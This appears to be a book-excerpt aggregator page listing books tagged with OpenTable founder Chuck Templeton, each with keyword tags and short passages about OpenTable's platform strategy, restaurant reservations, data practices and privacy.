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Matchmakers: The New Economics of Multisided Platforms by David S. Evans, Richard Schmalensee
Airbnb, Alvin Roth, big-box store, business process, cashless society, Chuck Templeton: OpenTable:, creative destruction, Deng Xiaoping, disruptive innovation, if you build it, they will come, information asymmetry, Internet Archive, invention of movable type, invention of the printing press, invention of the telegraph, invention of the telephone, Jean Tirole, John Markoff, Lyft, M-Pesa, market friction, market microstructure, mobile money, multi-sided market, Network effects, Productivity paradox, profit maximization, purchasing power parity, QR code, ride hailing / ride sharing, sharing economy, Silicon Valley, Snapchat, Steve Jobs, Tim Cook: Apple, transaction costs, two-sided market, Uber for X, uber lyft, ubercab, Victor Gruen, winner-take-all economy
The history of OpenTable here draws on a number of sources, including Chuck Templeton (founder of OpenTable), in discussions with the authors, 2015; “OpenTable Founder Chuck Templeton on Starting Up,” interview by Katie Morell, OpenForum (June 23, 2015), https://www.americanexpress.com/us/small-business/openforum/articles/opentable-founder-chuck-templeton-on-starting-up/?utm_source=web&utm_medium=twitter; “Video: OpenTable Founder Chuck Templeton at Chicago Founders’ Stories @ 1871,” interview by Pat Ryan (April 25, 2013), http://www.1871.com/video-open-table-founder-chuck-templeton-at-chicago-founders-stories-1871/; Andrew Rachleff and Sara Rosenthal, “OpenTable,” Case E418 (Palo Alto, CA: Stanford Graduate School of Business, November 18, 2011); Benjamin Edelman and Karen L. Webster, “Optimization and Expansion at OpenTable,” Case 9-915-003 (Boston: Harvard Business School, March 9, 2015); and Maha Atal, “OpenTable—The Hottest Spot in Town,” Fortune, August 14, 2009, http://fortune.com/2009/08/14/opentable-the-hottest-spot-in-town/. 2.
Unless otherwise noted, all monetary values we report are not adjusted for inflation. 9. “USA: OpenTable.com Names James Jeffrey Edwards CEO,” just-food, May 18, 2000, http://www.just-food.com/news/opentablecom-names-jeffrey-edwards-ceo_id90312.aspx. 10. Chuck Templeton (founder of OpenTable), in discussion with the authors, September 19, 2015. 11. Ibid. OpenTable started this strategy systematically in New York and then used it in other cities later. 12. Erick Schonfeld, “OpenTable Has a Healthy IPO. Shares Shoot Up 59 Percent, Market Cap Passes $600 Million,” TechCrunch, May 21, 2009, http://techcrunch.com/2009/05/21/opentable-has-a-healthy-ipo-shares-shoot-up-40-percent-market-cap-hits-600-million/. 13. OpenTable, “Press Room,” http://press.opentable.com/. 14. David S. Evans and Richard Schmalensee, Paying with Plastic, 2nd ed.
If OpenTable had taken advantage of this demand and had charged diners for reservations, one might think it could have made more money. But it didn’t, and it hasn’t. “Free” wasn’t some temporary promotional gimmick. OpenTable hasn’t ever charged diners a penny. On the other hand, if diners are so valuable that OpenTable finds it optimal to pay them (via rewards) to use its service, why does it refuse to deal with some of them? If a diner fails four times in a year to show up for a reservation that she has not canceled at least thirty minutes in advance, her account is terminated, even if she’s kept many reservations that made OpenTable money.17 Then there’s the fact that OpenTable, which met obvious needs of both diners and restaurants, barely survived. Chuck Templeton had a great idea. And developing a website and table management software was hardly rocket science, even back then. Yet the company almost died three years after its birth because it couldn’t solve the chicken-and-egg problem.
The Middleman Economy: How Brokers, Agents, Dealers, and Everyday Matchmakers Create Value and Profit by Marina Krakovsky
Affordable Care Act / Obamacare, Airbnb, Al Roth, Ben Horowitz, Black Swan, buy low sell high, Chuck Templeton: OpenTable:, Credit Default Swap, cross-subsidies, crowdsourcing, disintermediation, diversified portfolio, experimental economics, George Akerlof, Goldman Sachs: Vampire Squid, income inequality, index fund, information asymmetry, Jean Tirole, Joan Didion, Kenneth Arrow, Lean Startup, Lyft, Marc Andreessen, Mark Zuckerberg, market microstructure, Martin Wolf, McMansion, Menlo Park, Metcalfe’s law, moral hazard, multi-sided market, Network effects, patent troll, Paul Graham, Peter Thiel, pez dispenser, ride hailing / ride sharing, Robert Metcalfe, Sand Hill Road, sharing economy, Silicon Valley, social graph, supply-chain management, TaskRabbit, The Market for Lemons, too big to fail, trade route, transaction costs, two-sided market, Uber for X, uber lyft, ultimatum game, Y Combinator
Not every restaurant has come on board—whereas diners can use the service for free, restaurants have to pay a monthly fee and a smaller fee for each seat booked through OpenTable—but, despite some competition, the service has a vast reach, especially across cities in the United States. Through the service, restaurants can attract more diners, and by taking online reservations up until the last minute, they can reduce idle capacity. Diners win, restaurants win, and OpenTable wins. When Chuck Templeton founded OpenTable in 1998, though, the concept was so novel that restaurants resisted, he says. “Nobody understood the Internet back then,” he recalls.8 To make it easy for diners to try out the service, reservations required nothing more than a first and last name and an e-mail address, and a diner could sign up as something like firstname.lastname@example.org. “So everyone had this concern that there were these anonymous reservations, and the no-show rate would be really high.” No-shows are a perennial bane for restaurants: if someone makes a reservation and doesn’t show up, those seats, which could have gone to a real customer, are lost forever.
“I absolutely have had clients try to pull fast ones,” says Adams, “and usually we have to push back.” Pushing back naturally risks angering the client, which business people are loath to do. For example, Chuck Templeton, the founder of OpenTable, told me that as much as he wanted to protect the interests of both diners and restaurants, that wasn’t always possible, so when push came to shove, the company would rather not lose a restaurant partner, because, as he put it, “The restaurant is the one paying the bill.” But an agency model, who is probably more valuable to an agency than an individual diner is to OpenTable, does expect the agency to protect her interests against an opportunistic client. Sometimes, despite the agency’s attempts to be evenhanded in these disputes, the agency will be caught in the middle, with both sides feeling that the agency didn’t treat them fairly.
As this chapter will show, that’s an important role in a wide range of middleman businesses, from online marketplaces to agencies that match workers with temporary jobs. How OpenTable Secured Restaurants’ Trust in Diners * * * One middleman business that has done an admirable job of deterring bad behavior is OpenTable, the company that revolutionized the way diners make restaurant reservations and was recently acquired by Priceline for $2.6 billion. Instead of having to call up one restaurant at a time until they find an open table at the desired time, diners can go online, put in the size of their party and their preferred seating time, and see a list of restaurants that have openings during that window. Not every restaurant has come on board—whereas diners can use the service for free, restaurants have to pay a monthly fee and a smaller fee for each seat booked through OpenTable—but, despite some competition, the service has a vast reach, especially across cities in the United States.
Platform Scale: How an Emerging Business Model Helps Startups Build Large Empires With Minimum Investment by Sangeet Paul Choudary
3D printing, Airbnb, Amazon Web Services, barriers to entry, bitcoin, blockchain, business process, Chuck Templeton: OpenTable:, Clayton Christensen, collaborative economy, commoditize, crowdsourcing, cryptocurrency, data acquisition, frictionless, game design, hive mind, Internet of things, invisible hand, Kickstarter, Lean Startup, Lyft, M-Pesa, Marc Andreessen, Mark Zuckerberg, means of production, multi-sided market, Network effects, new economy, Paul Graham, recommendation engine, ride hailing / ride sharing, shareholder value, sharing economy, Silicon Valley, Skype, Snapchat, social graph, social software, software as a service, software is eating the world, Spread Networks laid a new fibre optics cable between New York and Chicago, TaskRabbit, the payments system, too big to fail, transport as a service, two-sided market, Uber and Lyft, Uber for X, uber lyft, Wave and Pay
The network, then, complements the standalone value powered by the initial product/service offering. OPENING IT UP LIKE OPENTABLE OpenTable (and subsequently, other service booking systems) was one of the first platforms to execute this successfully. Entering a highly fragmented market (restaurant), the company distributed booking management systems, which the restaurant could use as standalone software for managing table reservations. This enabled OpenTable to aggregate table inventory, and real-time data on table availability, across restaurants. Once it had enough restaurants on board – and, hence, access to their seating inventory, as well – it opened out the network to allow consumers to start booking tables at participating restaurants. By staging the network creation in this manner, OpenTable succeeded in aggregating a fragmented, technology-laggard vertical, like restaurants, on one central platform, something that may not have been possible if it had started by launching the entire platform and hoping for network effects to kick in.
By staging the network creation in this manner, OpenTable succeeded in aggregating a fragmented, technology-laggard vertical, like restaurants, on one central platform, something that may not have been possible if it had started by launching the entire platform and hoping for network effects to kick in. In OpenTable’s case, the standalone model also provides additional revenue streams for the business, in addition to the lead generation fee that it charges for customer reservations. This model has been successfully replicated across multiple industries, which exhibit the same characteristics of inefficiencies created due to fragmentation. The standalone mode helps aggregate the players onto a central platform, and consumer access is subsequently enabled to create network effects. The standalone mode serves to create a central creation infrastructure for participants to create and manage inventory, e.g. the inventory of seating availability, in the case of restaurants on OpenTable. Referring to the architectural discussions in Section 2, the standalone mode allows the creation and accumulation of core value units.
It is almost impossible to create network effects across two networks without data-layer integration. GROWTH AND SPILLOVER Networks that achieve platform scale encourage spillover. Airbnb, unlike Uber and OpenTable, has tremendous potential for spillover. The travel use case makes such spillover organic to the network. The host and traveler will often be part of different cities. Such cross-city interaction allows rapid growth, without the creation of insular clusters, although some clusters may still exist. For example, travelers from Europe may travel more often within Europe, however, many travelers will venture further abroad and clusters will, consequently, show higher overlap. In contrast, Uber and OpenTable need to start operations from the ground up in every city every time they want to scale geographically. Uber does benefit from a growing brand awareness but that alone is not enough.
Platform Revolution: How Networked Markets Are Transforming the Economy--And How to Make Them Work for You by Sangeet Paul Choudary, Marshall W. van Alstyne, Geoffrey G. Parker
3D printing, Affordable Care Act / Obamacare, Airbnb, Alvin Roth, Amazon Mechanical Turk, Amazon Web Services, Andrei Shleifer, Apple's 1984 Super Bowl advert, autonomous vehicles, barriers to entry, big data - Walmart - Pop Tarts, bitcoin, blockchain, business cycle, business process, buy low sell high, chief data officer, Chuck Templeton: OpenTable:, clean water, cloud computing, connected car, corporate governance, crowdsourcing, data acquisition, data is the new oil, digital map, discounted cash flows, disintermediation, Edward Glaeser, Elon Musk, en.wikipedia.org, Erik Brynjolfsson, financial innovation, Haber-Bosch Process, High speed trading, information asymmetry, Internet of things, inventory management, invisible hand, Jean Tirole, Jeff Bezos, jimmy wales, John Markoff, Khan Academy, Kickstarter, Lean Startup, Lyft, Marc Andreessen, market design, Metcalfe’s law, multi-sided market, Network effects, new economy, payday loans, peer-to-peer lending, Peter Thiel, pets.com, pre–internet, price mechanism, recommendation engine, RFID, Richard Stallman, ride hailing / ride sharing, Robert Metcalfe, Ronald Coase, Satoshi Nakamoto, self-driving car, shareholder value, sharing economy, side project, Silicon Valley, Skype, smart contracts, smart grid, Snapchat, software is eating the world, Steve Jobs, TaskRabbit, The Chicago School, the payments system, Tim Cook: Apple, transaction costs, Travis Kalanick, two-sided market, Uber and Lyft, Uber for X, uber lyft, winner-take-all economy, zero-sum game, Zipcar
Create a business around products or services that benefit a single set of users; later, convert the business into a platform business by attracting a second set of users who want to engage in interactions with the first set. Launching a service booking platform like OpenTable, the restaurant reservation system, poses a classic chicken-or-egg problem. Without a large base of participating restaurants, why would patrons visit the OpenTable site? But without a large base of patrons, why would restaurants choose to participate? OpenTable solved the problem by first distributing booking management software that restaurants could use to manage their seating inventory. Once OpenTable had enough restaurants on board, they built out the consumer side, which allowed them to start booking tables and collecting a lead generation fee from the restaurants. The Indian bus reservation platform redBus gained traction in a similar manner.
Airbnb encouraged users with rooms to rent (hosts) to list their offerings (value units) on Craigslist (external network). Those who saw the room listings (recipients) and were motivated to rent those rooms became Airbnb users—and many subsequently began renting out rooms of their own, fueling the growth of the platform. OpenTable similarly encourages diners (hosts) to share their dinner reservations (value units) over email or Facebook (external networks) with their friends and colleagues (recipients) who are joining them for dinner. If you’re a platform manager hoping to achieve the same kind of viral growth as Instagram, Airbnb, and OpenTable, you need to design rules and tools that will jumpstart the cycle. Your goal is to design an ecosystem where senders want to transfer value units through an external network to a large number of recipients, ultimately leading many of those recipients to become users of your platform.
Then he used risk-adjusted cash flows to come up with a company valuation of $5.9 billion. With admirable forthrightness, he even posted his spreadsheet online so others could examine and test his assumptions. Bill Gurley, a partner at Benchmark Capital and one of Uber’s Silicon Valley investors, took up the challenge. A venture capitalist famous for having been among the first to spot such technology skyrockets as OpenTable, Zillow, and eBay, Gurley argued that the $17 billion valuation was likely an underestimate, and that Damodaran’s figure could be short by a factor of 25.2 Gurley questioned Damodaran’s assumptions about both the total market size and Uber’s potential market share, basing his calculations on economist W. Brian Arthur’s analysis of network effects.3 In classic platform style, Uber performs a matching service.
Bad Data Handbook by Q. Ethan McCallum
Amazon Mechanical Turk, asset allocation, barriers to entry, Benoit Mandelbrot, business intelligence, cellular automata, chief data officer, Chuck Templeton: OpenTable:, cloud computing, cognitive dissonance, combinatorial explosion, commoditize, conceptual framework, database schema, DevOps, en.wikipedia.org, Firefox, Flash crash, Gini coefficient, illegal immigration, iterative process, labor-force participation, loose coupling, natural language processing, Netflix Prize, quantitative trading / quantitative ﬁnance, recommendation engine, selection bias, sentiment analysis, statistical model, supply-chain management, survivorship bias, text mining, too big to fail, web application
While this classical training remains invaluable, the cold reality of the real world was waiting. Moving On to the Professional World My history with data has been varied throughout my career. Early on at OpenTable, we lacked holistic insight into the value of our data; we were completely focused on creating a new company. During those early years, it seemed as if decisions and strategies changed daily. Software development was in high gear and the competition was always nipping at our heels. There was little thought as to what we should collect, the form it should come in, and certainly not how we should extract it. However, as OpenTable matured and repeatedly worked through our mistakes, we started to smarten up. A few years in, we hired an experienced engineering vice president who started to add rigor and a plan to the chaotic system.
Furthermore, as there were limits to what one could retain, these choices often framed and limited the type of quality leading to easier datasets. As my career at OpenTable was ending, many critical points in the world of data came together. First, we started to see a steep decline in the price of hardware and the notion of white-box computing starting to emerge. Additionally, cloud computing became an immediate game-changer in the realm of provisioning. Lastly, a few years later, we started to see some of the brilliance that would lead to the possibility of truly big data. When you mix these concepts with architectures like Hadoop and the NoSQL database family, you realize that you have the ability to capture enormous amounts of data, much of which may be “bad.” It is certainly speculative—and, as always, hindsight is 20/20—but I can think of many things that we might have done differently at OpenTable if the tools of today were a reality when we started to build the company.
It is certainly speculative—and, as always, hindsight is 20/20—but I can think of many things that we might have done differently at OpenTable if the tools of today were a reality when we started to build the company. However, in as much as OpenTable proved to be a successful venture of which we are all very proud, I will refrain from speculating about this alternative reality. Moving into Government Work Making the transition into the public sector offered an entirely different perspective on data. OpenTable was a small and nimble company, in which we could easily change course. As I entered the enormous bureaucracy of one of the biggest cities in the United States, which had decades of information legacy systems, I was confronted with an entirely different platform and a nontrivial amount of dirty data. What is dirty data? It has several definitions. First, it is data that is simply incorrect. Value X should equal 1, but in in your structure it is equal to 2.
The Gospel of Food: Everything You Think You Know About Food Is Wrong by Barry Glassner
Chuck Templeton: OpenTable:, Gary Taubes, haute cuisine, income inequality, longitudinal study, meta analysis, meta-analysis, New Urbanism, placebo effect, profit motive, Ralph Nader, randomized controlled trial, Saturday Night Live, stem cell, twin studies, urban sprawl, working poor
His reservations staff also helped him keep track of VIPs by putting discreet codes beside their names in the reservation book.9 Managing that information—and much more about preferred customers—has become easier for places like Daniel and the French Laundry in recent years, thanks to a San Francisco– based company called OpenTable Inc., best known for its Web site, opentable.com, through which, in principle, anyone can reserve a table at any of more than three thousand restaurants across the U.S. OpenTable’s appeal to restaurateurs like Boulud and Keller lies primarily in its data-tracking software rather than its reservations service. At sought-after restaurants, nearly all space at peak hours is held aside for VIPs. These restaurants tend to offer reservations at opentable.com for their earliest seating or during slow seasons. The French Laundry allots just two tables for each meal, but Keller and his staff make use of the software to other ends.
See for example “World’s 50 Best Restaurants,” Restaurant Magazine (June 2003). 9. Brenner, The Fourth Star, pp. 17 and 63. See also Steven Shaw, Turning the Tables (New York: HarperCollins, 2005). 10. Brenner, The Fourth Star, pp. 41–42; David Shaw, “They Have a File on You,” Los Angeles Times, April 23, 2003. Many restaurants value OpenTable for another reason. Labor and other costs make phone reservations about four times as costly to the restaurant as OpenTable reservations. “Online and InPerson: Tips for Living Like a VIP,” Wall Street Journal, June 14, 2005. 11. Mark Bittman, “A Taste of Los Angeles,” New York Times, May 7, 2003; Amanda Hesser, “The Chef,” May 7, 21, and June 4, 2003. On treatment of VIPs and regular patrons, see also Steven Shaw, Turning the Tables. 12. Rebecca L. Spang, The Birth of the Restaurant (Cambridge, MA: Harvard University Press, 2001) (quote is from p. 223). 13.
., 189, 259n. 24 types of food and, 176–79, 255n. 3 wealthier Americans and lower rate, 196–97, 263n. 55 weight loss and food marketing, 210–11 working mothers blamed, 181, 182, 257n. 16 Obesity Myth, The (Campos), 193 Oldways Preservation Trust, 6–8 olive oil and olives, 2, 209 Oliver, Jamie, 212 Omnivore’s Dilemma (Pollan), 70 O’Naturals, 168–71 customer proﬁ le, 170 employees, 168 Ono restaurant, 101 OpenTable Inc., 97, 247n. 10 organic foods Cascadian Farm, 71–73 “expectancy conﬁrmation,” xii farm cooperatives and, 64–65 food industry and, 62–63, 71–75, 245n. 15 health and environmental beneﬁts, 64–65, 242n. 1 “industrial organic,” 72 lunch at expo, 64–65 milk, 62, 65 nutrients vs. nonorganic, 62 rejection of irradiation, 65–68 Rodale and, 63–64 small farmers and, 70–72 TV dinners, 71–72 Organic Gardening (Rodale), 63–64 Organic Valley cooperative, 64–65, 70 Ornish, Dean, 176 Orwell, George, 156 Palms Thai restaurant, 119 Panda Express restaurants, 137–41 best-selling item, 143 training of employees, 143 Paradise Tomato Kitchens, 81–83 pasta, dried vs. fresh, 83 282 Index Pastinelli, Madeleine, 128 Paz, Octavio, 128–29 peanuts, 211 peas, frozen vs. fresh, 83 Pepsico Aquaﬁna water, 45 Mother’s Toasted Oat Bran Cereal, 48 Propel Fitness Water, 48 perfectionism, 200 food snobs and, 202–5 nutritional imperialists and, 201, 202 Per Se restaurant, 94–95, 109, 115 pesticides, 65 Peters, Lulu Hunt, 176 Petrini, Carlo, 220 Philip Morris, 48 Phillips Barbecue, 124 Phrack magazine, 148 Physicians Committee for Responsible Medicine (PCRM), 207 anti-Atkins Web site, 214 on beef, 213 studies sponsored by, 214 pineapple, 80–81 Pirate’s Booty, 53 pizza hunger-relief organizations and, 201 as perfect food, 201 Pizza Hut, 141, 142 placebo effect, 24 fortiﬁed water and, 46 pleasure in food absorption of nutrients and, 1–2 American attitude vs., 3 Americans sacriﬁcing of, 197–98 bò 7 món, 228 gospel of naught vs., 4 as important for health, 1–3 potato and, 5–6 self-denial of, effects, 3–6 study on food attitudes and, 2–3 Plotkin, Mark, 64 Pochapin, Cheryl, 126 Poe, Tracy, 84–85 Pollan, Michael, 70–72, 74 countercuisine, 72 Pork Board, 32 Post, Charles W., 43 potato as anti-depressive, 4–5 contradictory opinions and, 7–8 as ethnic slur on Irish, 226 health risks of, perceived, 4 marketing health beneﬁts, 211 nutritional and health beneﬁts, 4–5, 6 pleasures of eating, 5–6 specialist farmers for, 110 Yukon gold, 6 Potatoes Not Prozac, 4–5 Powles, John, 21 Powter, Susan, 176 Probyn, Elsbeth, 43, 148 processed and frozen foods convenience of, 61, 84–87 feminism and, 85 history, 84–86 nutrients and, 83 organic TV dinners, 71–72 pineapple wedges breakthrough, 80–81 Procter & Gamble, 79 Propel Fitness Water, 48 Public Citizen, 67 Puck, Wolfgang, 97–99, 115, 116, 156 Putnam, Robert, 121 Putney Swope (ﬁ lm), 43 Index 283 Quaker Oats, 52–53 Quorn, 68–70 R & D operations, 77–81 Burger King, 34–35, 146–47 Flavurence Corporation, 37–40 fresh pineapple wedges, 80–81 Rain restaurant, 41 Ravnskov, Uffe, 22 Reichl, Ruth, 89–90, 91, 92, 93, 112–13, 217, 246n. 5 Renaud, Serge, 2 Restaurant, The (TV show), 103–6, 247n. 21 restaurants.
Radical Technologies: The Design of Everyday Life by Adam Greenfield
3D printing, Airbnb, augmented reality, autonomous vehicles, bank run, barriers to entry, basic income, bitcoin, blockchain, business intelligence, business process, call centre, cellular automata, centralized clearinghouse, centre right, Chuck Templeton: OpenTable:, cloud computing, collective bargaining, combinatorial explosion, Computer Numeric Control, computer vision, Conway's Game of Life, cryptocurrency, David Graeber, dematerialisation, digital map, disruptive innovation, distributed ledger, drone strike, Elon Musk, Ethereum, ethereum blockchain, facts on the ground, fiat currency, global supply chain, global village, Google Glasses, IBM and the Holocaust, industrial robot, informal economy, information retrieval, Internet of things, James Watt: steam engine, Jane Jacobs, Jeff Bezos, job automation, John Conway, John Markoff, John Maynard Keynes: Economic Possibilities for our Grandchildren, John Maynard Keynes: technological unemployment, John von Neumann, joint-stock company, Kevin Kelly, Kickstarter, late capitalism, license plate recognition, lifelogging, M-Pesa, Mark Zuckerberg, means of production, megacity, megastructure, minimum viable product, money: store of value / unit of account / medium of exchange, natural language processing, Network effects, New Urbanism, Occupy movement, Oculus Rift, Pareto efficiency, pattern recognition, Pearl River Delta, performance metric, Peter Eisenman, Peter Thiel, planetary scale, Ponzi scheme, post scarcity, post-work, RAND corporation, recommendation engine, RFID, rolodex, Satoshi Nakamoto, self-driving car, sentiment analysis, shareholder value, sharing economy, Silicon Valley, smart cities, smart contracts, social intelligence, sorting algorithm, special economic zone, speech recognition, stakhanovite, statistical model, stem cell, technoutopianism, Tesla Model S, the built environment, The Death and Life of Great American Cities, The Future of Employment, transaction costs, Uber for X, undersea cable, universal basic income, urban planning, urban sprawl, Whole Earth Review, WikiLeaks, women in the workforce
You’ll learn that restaurants offering reservations via the service are “required to use the company’s proprietary floor management system, which means leasing hardware and using OpenTable-specific software,” and that OpenTable retains ownership of all the data generated in this way.10 You’ll also learn that OpenTable takes a cut on reservations made of one dollar per seated diner, which obviously adds up to a very significant amount on a busy night. Conscientious diners (particularly those with some experience working in the industry) have therefore been known to bypass the ostensible convenience of OpenTable, and make whatever reservations they have to by phone. By contrast, Google Home’s all but frictionless default to making reservations via OpenTable normalizes that option, the same way the appearance of Uber as a default option in the Google Maps interface sanctifies the choice to use that service.
This is how Google’s assistant works: you mention to it that you’re in the mood for Italian, and it “will then respond with some suggestions for tables to reserve at Italian restaurants using, for example, the OpenTable app.”9 This scenario was most likely offered off the top of the head of the journalist who wrote it. But it’s instructive, a note-perfect illustration of the principle that though the choices these assistants offer us are presented as neutral, they invariably arrive prefiltered through existing assumptions about what is normal, what is valuable, and what is appropriate. Their ability to channel a nascent, barely articulated desire into certain highly predictable kinds of outcomes bears some scrutiny. Ask restaurateurs and front-of-house workers what they think of OpenTable, for example, and you’ll swiftly learn that one person’s convenience is another’s accelerated work tempo, or worse.
Its manufacturer, however, had an interest in keeping its price low, and that meant that the camera shipped without effective provisions for controlling access to it. This in turn served yet another party’s interest: that of an intruder, who could probe the local network through this unsecured point of access, and see if there might not be something connected to it worth corrupting, or mobilizing as part of a botnet. These interests all contend in the camera from the first moment it’s plugged in, just as your interests and OpenTable’s and Google’s and a restaurateur’s all contend in the Home interface. What is being gathered together in a Tide-branded Amazon Dash Button? Crack open the case,22 and you’ll find a WiFi module and a microcontroller, a microphone, a memory chip and an LED, along with some other harder-to-identify components, all sandwiched on a printed circuit board. The cost of this bill of materials is such that Amazon almost certainly loses a little money with each unit sold—and that’s even before considering that they chose to subsidize its purchase in full with a $5 rebate on the first order made with it.23 So the first thing that’s folded up in the Dash Button is a business model: Amazon wouldn’t sell it at all if they didn’t know perfectly well they’ll be making a healthy profit on everything you buy, on each of the thousand or so occasions you’ll be able to press the button before its welded-in battery succumbs.
The Mesh: Why the Future of Business Is Sharing by Lisa Gansky
Airbnb, Amazon Mechanical Turk, Amazon Web Services, banking crisis, barriers to entry, carbon footprint, Chuck Templeton: OpenTable:, cloud computing, credit crunch, crowdsourcing, diversification, Firefox, fixed income, Google Earth, industrial cluster, Internet of things, Joi Ito, Kickstarter, late fees, Network effects, new economy, peer-to-peer lending, recommendation engine, RFID, Richard Florida, Richard Thaler, ride hailing / ride sharing, sharing economy, Silicon Valley, smart grid, social web, software as a service, TaskRabbit, the built environment, walkable city, yield management, young professional, Zipcar
The new networks do not manage only strictly digital products, such as e-books; they can now connect you to physical products and services, like a hot meal (which to date can only be digitalized on Star Trek). OpenTable, for example, is a restaurant reservation system with a mobile phone app. Say you’re leaving a movie downtown. The mobile phone app will locate where you are standing and map nearby restaurants with available tables. You can look over the menu and reviews, get directions, and make a reservation while you’re headed toward the restaurant. The mobile network locates and connects you in time and space with a physical place, the restaurant. The social network, in the form of online reviews by other diners and friends, informs your choice. If you text a note to the restaurant, you might find a physical product—perhaps a dish of spicy Szechuan noodles—hot and waiting when you arrive. Meanwhile, OpenTable and its network of restaurants learn over time, particularly if you send in reviews, which restaurants you, or people like you, prefer.
They are using what we’ve collectively learned about what works in a Web business for digital products and applying it to the sharing of physical products. This is the next phase. The mobile Web helps users locate a product to share, or people to share with. In most cases, a person actually has to get up from her chair to participate—it’s a physical experience, not just a virtual one. By linking the Web, mobile technology, and physical venues and products, the relevant offers can be located in a specific place and time. Just as someone uses the OpenTable app to make a last-minute restaurant reservation on a mobile phone, he can make a date with a bike, tool, or car. their billions. our inheritance. or, who’s that standing on my shoulders? Mesh businesses also begin with a huge technical advantage. The billions spent in developing the Internet, mobile infrastructure, and certain large platforms—such as Amazon, Google, 3G, Facebook, PayPal, and eBay—have lowered the financial and time barriers for starting new businesses.
Cisco estimates traffic over the Internet will exceed 667 exabytes by 2013. That’s roughly 667 billion gigabytes and equates to a quintupling of traffic from 2009 to 2013. Cisco predicts that one trillion devices will be connected to the Internet by that time. This invisible network enables a level of service and ad hoc coordination that is brand-new. That’s how Spride Share helps riders share taxis, how OpenTable enables last-minute restaurant reservations, and how Groupon makes spontaneous, time-limited deals between groups of users and businesses. It’s now hard to move around the planet without having mobile coverage. Sharing physical things is more realistic now that we’ve spent ten-plus years getting very comfortable with the always-on, always-with-me sensation of the Web and mobile devices. The new connectedness has inspired and enabled companies to glean important data from customers to customize offerings—for iTunes to suggest songs, for example, and LinkedIn to connect like-minded professionals seeking business opportunities and employment.
Lonely Planet Pocket San Francisco by Lonely Planet, Alison Bing
Albert Einstein, back-to-the-land, Bay Area Rapid Transit, Burning Man, Chuck Templeton: OpenTable:, edge city, G4S, game design, Golden Gate Park, Haight Ashbury, Mason jar, Silicon Valley, stealth mode startup, Stewart Brand, transcontinental railway, Zipcar
Sons & Daughters (Click here ) Urban-legendary, from ingredients grown in the restaurant’s urban farm to the upstart co-chefs’ irreverent takes on classics. Commonwealth (Click here ) A disco ball still spins in this converted Mission dive, but the inventive Californian food dazzles. Top Tips › Reservations On weekends, reservations are mandatory, unless you want to eat before 6pm or after 9:30pm. › Online bookings Most SF restaurants offer online reservations through OpenTable (www.opentable.com) , but if the system shows no availability, call the restaurant directly. Some seats may be held for phone reservations and walk-ins. Date-Night Favorites Jardinière (Click here ) Behind the opera, chef Traci des Jardins hits all the right notes – decadent, smart, sustainable – with a slight Italian accent. Gary Danko (Click here ) Escape from Alcatraz for romance served in three to five leisurely, luxuriant courses along Fisherman’s Wharf.
Ferry Plaza Farmers Market (Click here ) Graze on organic peaches, Sonoma goat cheese, and Korean tacos. Heart of the City Farmers Market (Click here ) DIY Lunches of roast chicken, heirloom tomatoes, organic berries and more. Top Tips › Food trucks See where your next meal is coming from on Twitter (@Mobile Cravings/sf-food-trucks, @streetfoodsf) . › Coupons Deals at top SF restaurants are available at Blackbird Eats (http://blackboardeats.com/san-francisco) and OpenTable (www.opentable.com) . Hot Deals La Taqueria (Click here ) Where SF’s most memorable meals come wrapped in foil and under $8 – including spicy pickles. Lahore Karahi (Click here ) Classic tandoori dive – a crowd-pleaser in the dodgy theatre district. Spices (Click here ) Whether you like your Szechuan lip-tingling or ‘explosive’ this hotspot delivers. Brenda’s French Soul Food (Click here ) Creole cures for what ails you the morning after, before Hayes Valley boutiques.
Dragnet Nation: A Quest for Privacy, Security, and Freedom in a World of Relentless Surveillance by Julia Angwin
AltaVista, Ayatollah Khomeini, barriers to entry, bitcoin, Chelsea Manning, Chuck Templeton: OpenTable:, clean water, crowdsourcing, cuban missile crisis, data is the new oil, David Graeber, Debian, Edward Snowden, Filter Bubble, Firefox, GnuPG, Google Chrome, Google Glasses, informal economy, Jacob Appelbaum, John Markoff, Julian Assange, Marc Andreessen, market bubble, market design, medical residency, meta analysis, meta-analysis, mutually assured destruction, Panopticon Jeremy Bentham, prediction markets, price discrimination, randomized controlled trial, RFID, Robert Shiller, Ronald Reagan, security theater, Silicon Valley, Silicon Valley startup, Skype, smart meter, Steven Levy, Upton Sinclair, WikiLeaks, Y2K, zero-sum game, Zimmermann PGP
I was able to convince some restaurants to give me a reservation without a phone number, by promising that I would call them to confirm the reservation. They said okay, and often if I forgot to call they still kept the reservation. But I found that lying was difficult for me: I got a little bit red and hot whenever I had to say the name Ida. I soon realized that Ida needed an OpenTable account—to book online reservations—so that I wouldn’t have to lie on the phone. But when I tried to sign up for OpenTable, it asked for a cell phone number. I knew that I should just enter a random phone number such as 212-555-1212, but somehow I couldn’t do it. I abandoned the sign-up screen. This was the same problem I had with passwords. The problem wasn’t the technology. The problem was my mind. * * * I’m a terrible liar. I squirm and I don’t make eye contact and my face gets hot and red.
Google had helpfully sorted my searches by date and by category (maps, travel, books, etc.), and they were a horrifying insight into what Buddhists call the “monkey mind,” leaping from place to place restlessly. Consider November 30, 2010: I started the day reading some technology news. Then, suddenly, I was searching for “Pink glitter tiny toms” for my daughter. Then I was off to the thesaurus to look up a word for an article I was writing, then to OpenTable to book a restaurant reservation, and then a visit to Congress to download the text of privacy legislation. Phew. My searches not only illuminated my inner thoughts, but they also revealed my whereabouts. A bunch of searches for “Berlin city map” were conducted during my trip to Berlin; “Hyatt Regency Pune” was in the midst of my annual trip to see my in-laws in India; my search for “DFW airport, Irving, TX → 3150 Binkley Ave., Dallas, TX 75205” was during a business trip to Dallas.
It took twenty seconds to launch in Tor and three seconds to launch in Firefox. At least I had plenty of time to sip my coffee as I browsed on Tor. I started by signing up for a free e-mail account for Ida from Microsoft’s Outlook.com. I steeled myself and entered 212-867-5309 as her backup phone number (after the famous ’80s song by Tommy Tutone). I turned off Microsoft’s targeted ads feature. Feeling quite pleased with myself, I also set up an OpenTable account for Ida, using the Outlook address. I left the phone number entry blank. (I don’t know why that hadn’t occurred to me earlier.) And then I set up an Amazon.com account for Ida, using my friend’s mailing address and Ida’s credit card number. I declined Amazon’s offer to provide Ida with the “Amazon betterizer,” which would provide her with more personalized recommendations. The first book I ordered was a used copy of Surveillance in the Stacks: The FBI’s Library Awareness Program.
Valuation: Measuring and Managing the Value of Companies by Tim Koller, McKinsey, Company Inc., Marc Goedhart, David Wessels, Barbara Schwimmer, Franziska Manoury
